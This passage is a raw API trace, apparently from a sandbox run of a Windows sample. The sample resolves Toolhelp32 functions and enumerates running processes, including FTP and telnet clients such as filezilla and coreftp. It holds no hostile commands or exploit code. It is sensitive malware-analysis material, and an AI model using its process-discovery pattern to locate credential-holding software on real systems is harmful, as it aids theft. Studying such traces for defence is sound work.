lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0051.271] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Heap32First", cchWideChar=11, lpMultiByteStr=0x7f2e8c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Heap32First", lpUsedDefaultChar=0x0) returned 11 [0051.271] GetProcAddress (hModule=0x76d30000, lpProcName="Heap32First") returned 0x76dc5763 [0051.271] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Heap32Next", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0051.271] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Heap32Next", cchWideChar=10, lpMultiByteStr=0x7f2e8c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Heap32Next", lpUsedDefaultChar=0x0) returned 10 [0051.271] GetProcAddress (hModule=0x76d30000, lpProcName="Heap32Next") returned 0x76dc594e [0051.271] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Toolhelp32ReadProcessMemory", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0051.271] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Toolhelp32ReadProcessMemory", cchWideChar=27, lpMultiByteStr=0x80f63c, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Toolhelp32ReadProcessMemory", lpUsedDefaultChar=0x0) returned 27 [0051.271] GetProcAddress (hModule=0x76d30000, lpProcName="Toolhelp32ReadProcessMemory") returned 0x76dc5b53 [0051.271] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process32First", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0051.271] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process32First", cchWideChar=14, lpMultiByteStr=0x7f2e8c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Process32First", lpUsedDefaultChar=0x0) returned 14 [0051.271] GetProcAddress (hModule=0x76d30000, lpProcName="Process32First") returned 0x76d68ae7 [0051.271] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process32Next", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.271] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process32Next", cchWideChar=13, lpMultiByteStr=0x7f2e8c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Process32Next", lpUsedDefaultChar=0x0) returned 13 [0051.271] GetProcAddress (hModule=0x76d30000, lpProcName="Process32Next") returned 0x76d688a4 [0051.272] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process32FirstW", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0051.272] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process32FirstW", cchWideChar=15, lpMultiByteStr=0x7f2e8c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Process32FirstW", lpUsedDefaultChar=0x0) returned 15 [0051.272] GetProcAddress (hModule=0x76d30000, lpProcName="Process32FirstW") returned 0x76d68baf [0051.272] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process32NextW", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0051.272] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process32NextW", cchWideChar=14, lpMultiByteStr=0x7f2e8c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Process32NextW", lpUsedDefaultChar=0x0) returned 14 [0051.272] GetProcAddress (hModule=0x76d30000, lpProcName="Process32NextW") returned 0x76d6896c [0051.272] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process32FirstW", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0051.272] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process32FirstW", cchWideChar=15, lpMultiByteStr=0x7f2e8c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Process32FirstW", lpUsedDefaultChar=0x0) returned 15 [0051.272] GetProcAddress (hModule=0x76d30000, lpProcName="Process32FirstW") returned 0x76d68baf [0051.272] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process32NextW", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0051.272] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process32NextW", cchWideChar=14, lpMultiByteStr=0x7f2e8c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Process32NextW", lpUsedDefaultChar=0x0) returned 14 [0051.272] GetProcAddress (hModule=0x76d30000, lpProcName="Process32NextW") returned 0x76d6896c [0051.272] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Thread32First", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.272] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Thread32First", cchWideChar=13, lpMultiByteStr=0x7f2e8c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Thread32First", lpUsedDefaultChar=0x0) returned 13 [0051.272] GetProcAddress (hModule=0x76d30000, lpProcName="Thread32First") returned 0x76dc5b93 [0051.272] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Thread32Next", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0051.272] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Thread32Next", cchWideChar=12, lpMultiByteStr=0x7f2e8c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Thread32Next", lpUsedDefaultChar=0x0) returned 12 [0051.272] GetProcAddress (hModule=0x76d30000, lpProcName="Thread32Next") returned 0x76dc5c3f [0051.272] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module32First", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.272] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module32First", cchWideChar=13, lpMultiByteStr=0x7f2e8c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Module32First", lpUsedDefaultChar=0x0) returned 13 [0051.272] GetProcAddress (hModule=0x76d30000, lpProcName="Module32First") returned 0x76dc5cd9 [0051.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module32Next", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0051.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module32Next", cchWideChar=12, lpMultiByteStr=0x7f2e8c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Module32Next", lpUsedDefaultChar=0x0) returned 12 [0051.273] GetProcAddress (hModule=0x76d30000, lpProcName="Module32Next") returned 0x76dc5dc2 [0051.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module32FirstW", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0051.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module32FirstW", cchWideChar=14, lpMultiByteStr=0x7f2e8c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Module32FirstW", lpUsedDefaultChar=0x0) returned 14 [0051.273] GetProcAddress (hModule=0x76d30000, lpProcName="Module32FirstW") returned 0x76d679f9 [0051.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module32NextW", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module32NextW", cchWideChar=13, lpMultiByteStr=0x7f2e8c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Module32NextW", lpUsedDefaultChar=0x0) returned 13 [0051.273] GetProcAddress (hModule=0x76d30000, lpProcName="Module32NextW") returned 0x76d67d96 [0051.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module32FirstW", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0051.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module32FirstW", cchWideChar=14, lpMultiByteStr=0x7f2e8c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Module32FirstW", lpUsedDefaultChar=0x0) returned 14 [0051.273] GetProcAddress (hModule=0x76d30000, lpProcName="Module32FirstW") returned 0x76d679f9 [0051.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module32NextW", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module32NextW", cchWideChar=13, lpMultiByteStr=0x7f2e8c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Module32NextW", lpUsedDefaultChar=0x0) returned 13 [0051.273] GetProcAddress (hModule=0x76d30000, lpProcName="Module32NextW") returned 0x76d67d96 [0051.273] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x24 [0051.282] Process32FirstW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0051.318] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0051.421] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0051.421] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0051.422] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0051.423] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0051.423] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0051.424] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0051.424] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0051.425] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0051.426] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.426] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.427] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.428] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.428] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.429] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0051.429] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.430] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.431] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0051.431] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0051.432] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0051.433] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.434] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0051.435] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0051.435] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="communist-nick.exe")) returned 1 [0051.436] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="palepromotion.exe")) returned 1 [0051.437] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="incidents_requests_moreover.exe")) returned 1 [0051.438] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="undertaken.exe")) returned 1 [0051.438] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="dressed.exe")) returned 1 [0051.439] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cr_tier.exe")) returned 1 [0051.440] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="oops terry.exe")) returned 1 [0051.440] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="sum-poem-stanley.exe")) returned 1 [0051.441] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="apparel mercedes.exe")) returned 1 [0051.441] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="want-robinson.exe")) returned 1 [0051.442] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="nissan_extension.exe")) returned 1 [0051.443] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="keyboard_remained_lucky.exe")) returned 1 [0051.443] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="origin.exe")) returned 1 [0051.444] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="exploringaidsoasis.exe")) returned 1 [0051.445] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="checklist.exe")) returned 1 [0051.445] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lifestylecalendar.exe")) returned 1 [0051.446] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="sleepsmorris.exe")) returned 1 [0051.447] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0051.447] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0051.448] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0051.449] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0051.449] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0051.450] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x754, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0051.451] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0051.451] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0051.452] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: 